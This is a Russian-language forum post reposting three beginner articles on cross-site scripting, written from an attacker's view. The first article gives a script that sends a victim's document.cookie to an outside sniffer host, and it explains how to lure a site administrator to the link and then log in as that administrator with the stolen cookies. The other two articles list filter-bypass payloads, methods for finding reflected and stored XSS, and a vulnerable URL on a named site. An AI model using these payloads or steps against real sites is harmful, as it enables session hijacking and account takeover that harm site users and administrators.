Статья не моя, просто на мой взгляд написано очень доступно, в ней собрано всё основное то, чтобы понять:

1. Что такое XSS вообще
2. Для чего нужен XSS
3. Пассивные и Активные XSS - определение и примеры поиска

Если вы в курсе - не читайте, только для новичков, хотя есть интересные моменты и для "опытных" пользователей.

Итак, XSS - это http://ru.wikipedia.org/wiki/Межсайтовый_скриптинг

=====Статья #1 XSS - взглядом хакера.Как хакеры используют XSS========
Cookies -что такое?
Служат для сохранения учётных данных сайта на компьютере юзера.
Если вы зарегестрировались на сайте под именем "Вася Попов"
то сайт сохранил у вас на компьютере файл с cookies где закодированы
ваши данные.
А теперь представим, что вы Вася Попов администратор сайта.
У вас есть доступ к изменению информации на сайте и прочей байде.
Я "Антон Котов" перехватываю cookies Васи Попова.
И и захожу на сайт...сайт меня определяет как Васю Попова и у меня
администраторские права.
Таким вот не хитрым способом можем перехватывать права.

Чтобы перехватить cookies надо найти место на сайте, где можно выполнить
XSS-атаку. (прим. - т.е. это и есть сама суть XSS)

Перехват кукисов.
Скачайте программу A4 Proxy
установите её.
в меню options установите галочку direct connection
во вкладке proxy options установите browser port 8080
check port 80
Далее зайдите в Internet Explorer-сервис-свойства обозревателя-подключения
(выберите подключение и отметье)-настройка-поставьте галочку Использовать прокси-сервер...
выставьте адрес 127.0.0.1 и порт 8080
всё

К примеру вы нашли XSS на каком нибудь сайте, вставляете скрипт
<sсriрt>img = new Image(); img.src = "http://www1.hut.ru/anek.shtml?"+document.cookie;</sсriрt>
переменная document.cookie это и есть cookies.
В данном случае cookies будут отправленны на сниифер http://www1.hut.ru/anek.shtml
вы сможете зайти на http://www1.hut.ru/aneksniff/sniffer.txt и увидеть перехваченные cookies
**
Дадим ссылку админу на скрипт.Подождём пока админ не посмотрит на ссылку и куки не уйдут на
http://www1.hut.ru/aneksniff/sniffer.txt , периодически просматриваем лог...ищем куки админа.
далее остаёться только подменить свои кукис на перехваченные, на сайте-жертве.
Заходим в A4 Proxy во вкладку Browser options в поле Variable пишем Cookie
в поле Replace with... копируем из лога сниффера http://www1.hut.ru/aneksniff/sniffer.txt
содержимое переменной query и нажимаем кнопочку add.(прим. - тоже самое можно сделать в ОПЕРА
- Инструменты - Дополнительно - Управление cookies - название сайта - изменить)
Всё заходим на сайт как админ.

======Статья #2.Авторские заметки о XSS==========

Исходя из того, что в интернете к сожалению по прежнему безопастность
дело не первоочередное мы практически в каждома сайте можем найти уязвимость.
Мы находим уязвимость и соощаем её администратору сайта,
что здесь у вас такая-то дыра, и что неплохо было бы если в новостях
сайта мелькнёт имя Next Level Security Team.

Итак перейду конкретно к тому как найти в данном сайте XSS.
Напишу об этом основываясь на своём опыте.
Перед нами wwwsite.ru что нам надо искать?
1) КОнечно же ищем куда загрузить картинку-XSS,
если есть фильтр смотрим используеться ли расширенние *.png.
Если используеться пробуем загрузить псевдо-картинку-XSS.

2) открываем каждый модуль (файл) сайта.
и смотрим всевозможные поля для метода Post.
(отправки на сервер)

3)ищем скрытые поля типа hidden и всякие различные элементы
значение которых передаваёться на сервер
на сервер (всякие галочки, низспадающие менюшки и т.д.)
Преобразовать все эти лементы в поля поможет программка IE_XSS_Kit.rar
или какой нить её аналог.

4)
выписываем название файла в блокнотик,
далее в html коде ищем строки "action" и "name" и выписываем значение.
Т.е. куда отправляеться и что отправляеться.
И так в каждом модуле просматриваем возможные переменные.
Дальше пробуем для кого нить малопосещаемого (по нашему мнению) модуля
различные переменные.

Выше я написал мои методы проверки на уязвимость,
а теперь конкретно, что делать с переменными, какое значение
писать и как обходить фильтр

А)
Ужасна распастраннёная узявимость типа ">
т.е. в каждой переменной пишем
"><sсriрt>alert()</sсriрt>
и проверяем после отправки, открываем html и ищем слово
alert т.е. ищем ответ сайта и что с запросом сделал фильтр.
Если вы обнаруживаете, что-то типа alert() или
">alert()
или
<sсriрt />alert()</sсriрt>
т.е. фильтр разришает отправлять и выполнять кавычки, он только
преобразует запрос => то тогда вы нашли XSS.
Остаёться только правильно составить запрос, чтобы он
выполнился.

Б)
Используем фильтр для запроса.
Это применяеться тогда когда к вашему запросу добавляет
фильтр какую нить инфу которая портит запрос.
к примеру вы отправили
<sсriрt>alert()</sсriрt>
а не чего не выполнилось. Вы лезете в html и видите
<sсriрt>alert()</sсriрt>>
свой целый запрос +
фильтр добавил ">
Ту легко, естественно нам следует послать
<sсriрt>alert()</sсriрt
Фильтр дополнит наш запрос и он выполниться.
(пример такой XSS недавно найденная на форуме в хакер.ру)
Бывает такое загружаете запрос а фильтр дополняется тэги
</sсriрt> какую нить фигню.Т.е. вы загружаете
<sсriрt>alert()</sсriрt>
открываете html ищите alert и видите такую картину:
<sсriрt></sсriрt></textarea>alert()</sсriрt>
В некоторых случаях этот фильтр тоже не трудно обойти,
пишем
<sсriрt></sсriрt></textarea><sсriрt>alert()</sсriрt>
(аналогич. XSS можно узреть в форумах на Ruhelp.com)

В) Используя скрытые переменные и переменные объектов всяких менюшек и т.п.
пытаемся выполнить запрос.
т.е. сначало программой IE_XSS_Kit.rar
Открываем все такие объекты как простые поля и пытаемся в писать в них составить
запрос.

г) основная ошибка разработчиков движков.
Состоит в объявлении строковой переменной вместо числовой.
т.е. к примеру такой путь wwwsite.ru/?page_id=2
Конечно мы подуммаем что переменная page_id - числовая.
Но я сколько раз натыкался на такие нелепые ошибки, что переменную
назначали строковой и она держала символы.
Отправим wwwsite/index.php?action&page_id=2k
Если не будет ошибки а будет надпись "страница не найденна"
99% что переменная строковая и мы можем попробовать вставить запрос.
тщательно просматривайте все такого рода переменные.

д)Поиск активных XSS.
Очень трудная и кропотливая работа.
Просто так вы уже в XSS на запись любой запрос не выполните.
Тут надо использовать другие разрешённые тэги и прекрываясь ими надо
выполнить запрос.
тэги URL,BB,IMG могут помочь нам в этом.
Весь смысл вставки заключаеться в том, что нам
надо встроить запрос в парметр img или url
У Img есть много парметров кроме src и alt.

======Статья #3.Авторские заметки о XSS - продолжение==========

Рассмотрим что такое XSS это выполнение произволного скрипта на сайте.
Скрипт будьто яваскрипт или вбскрипт или html-тэг это
сценраий который используеться для формирования и отображения
информации в браузере.
т.е. XSS атаки это атаки не на сам сайт а на пользователей сайта.
т.к. скрипты для сервера - пустое место.

Пассивная XSS - это когда вам удалось просто выполнить скрипт на сайте
не сохраняя его.

Активная XSS - это когда вам удалось сохранить где нибудь в страничке скрипт
и при каждом обновлении странички скрипт выполняеться.
К примеру вставка скрипта в дневники, в доски объявлений в форум, в гостевые книги
и т.д.

Рассмотри применение пассивных XSS, открываем любой сайт и пытаемся
найти пассивную XSS т.е. нефильтруемое или плохофильтруемое место
где можно вставить свой скрипт.

Обычно для распознания выполнения скрипта используют скрипт вывода сообщения
<sсriрt>alert()</sсriрt>
т.е. если вышло сообщение (табличка) то вы нашли XSS.

Открываем любой ресурс и в полях для ввода текста пытаемся вставить
<sсriрt>alert()</sсriрt>
Пытаемся вставить во се различные поля этот скрипт...если вышло сообщение значит скрипт обработался
и выполнился.
Самая распостранёная XSS (наблюдаеться во всех местах где плохая фильтрация):
"><sсriрt>alert()</sсriрt>
Вся суть в ">
Давайте подуммаем что мы делаем когда вводим в поле "><sсriрt>alert()</sсriрt>,
что происходит?
мы вводим в форму "><sсriрt>alert()</sсriрt>
какая-то перменной присваиваеться значение поля
перменная обрабатываеться и "> выполняеться и закрывает скрипт и
выпролняя <sсriрt>alert()</sсriрt>
.........
Эта XSS самая распостранёная.
т.е. просматриваем все поля сайта и пытаемся вставить "><sсriрt>alert()</sсriрt>
если вышло сообщение вы нашли XSS...далее вы можете составить запрос
передачи куков на сниффер и дать эту ссылку человеку зарегестрированном на этом сайте,
к примеру админу...он заходит на неё и его кукисы уходят на сниффер.
Нам остаёться подменить свои кукисыф на адлминские и мы админы сайта=)

ещё если фильтруеться sсriрt XSS:
<sсriрt 1>alert()</sсriрt 1>

вот такой вот вред кроеться в пассивной XSS - воровство кукисов.

Надеюсь всё поняли до этого момента.

ПОиск всех XSS

А как определить крутой фильтр стоит или нет?*
да очень просто в любое поле вводим: сука<>,"\
Дальше открываем html страничку и ищем слово "сука"
и смотри последующие сиволы..
=
Если <> так и остались
то это раз, это значит что фильтр имеет дырку.
если ,"'\ символы остались такие как введёные - это два, как
возможные дополнительные символы к последующей XSS атаке.
=
Если открыв HTML вы не обнаружили <> то скорее всего дырка
в фильтре.
=
Если открыв HTML вы обнаружили что <> заменены на другие символы
то это обломс - фильтр покрайней мере функционирет нормально.

Возможно ещё ввести в поле для проверки фильтрации вот так:
"><>'",
т.е. с нашей "> =)))
....
Многие длуммают что нахождение XSS в ресрусах это тупой подбор уже
готовых скриптиков, --- заявляю открыто это ерунда,
конечно вам может повести и вы не попадёте на более менее серьёзную
фильтрацию и ваша XSS выполниться но это большая редкость...

Итак как мы поняли щупаем фильтр методом проб и проверок:
1) вводим в поле символы
2) смотри в html профильтрованый ответ что у нас получаеться

к примеру мы ввели в форум:
в различные поля е-майл сайт текст сообщения "><>
вышла ошибка неправильный е-майл, неправильный сайт
тогда в емайл вводим: suka@yandex.ru"><>
в сайт вводим соотвественно: http://www.com.net"><>
ну и в сообщение <>
Дело в том что на разные поля разная фильтрация, конечно серьёзные
разработчики ставят одинаково крутую фильтрацию на все поля, но таких оч. мало
Итак лезим в html ищем нашу мессагу и смотрим профильтрацию.
к примеру <> остались как есть тогда добавляем ещё сообщение в форуме
"><sсriрt>alert()</sсriрt>
смотрим что получилось...возможно фильтр ищет такие слова как sсriрt, javascrip,vbsсriрt
и фильтрует их...тогда существует возможность ввести так: "><sсriрt 1>alert()</sсriрt 1>

Рассмотрим случай если фильтр съедает <>
в этом случае существует вероятность дырки.
к примеру фильтра условия съедать <sсriрt>,<> и т.д.
тогда пробуем <qweqweqwfdfsdv213> и смотри если не съелось
нашли дырку...дпльше можно составить скрипт XSS
Ещё существует метод вложенного скрипта, к примеру вот так:
<sc<sсriрt>ript>alert()</sc</sсriрt>ript>
это если фильтр не оч. сильный и плохо фильтрует.
Ещё можно попробовать во так:
>>>><<sсriрt
бывает что фильтр подсчитывает откр и загр. скобки и закрывает сам.
т.е. сначало фильтрует а потом закрывает...что даёт нам дырку к инъекции скрипта.
частенько бывает что фильтр дополняет скрипт, к примеру вот этим "> (т.е. закрывает скрипт)
К примеру XSS на xakep.ru
http://forum.xakep.ru/error.asp?sessionID=&quot;&gt;&lt;IMG SRC=&quot;javasrit:alert();
фильтр смотрит что нечего опсасного в <IMG%20SRC="javasсriрt:alert();
нет и закрывает тем самым выполняя скрипт.
.....
Ещё конечно если фильтр не фильтрует различные кодировки то можно попытаться закодировать скрипт и
вставить код.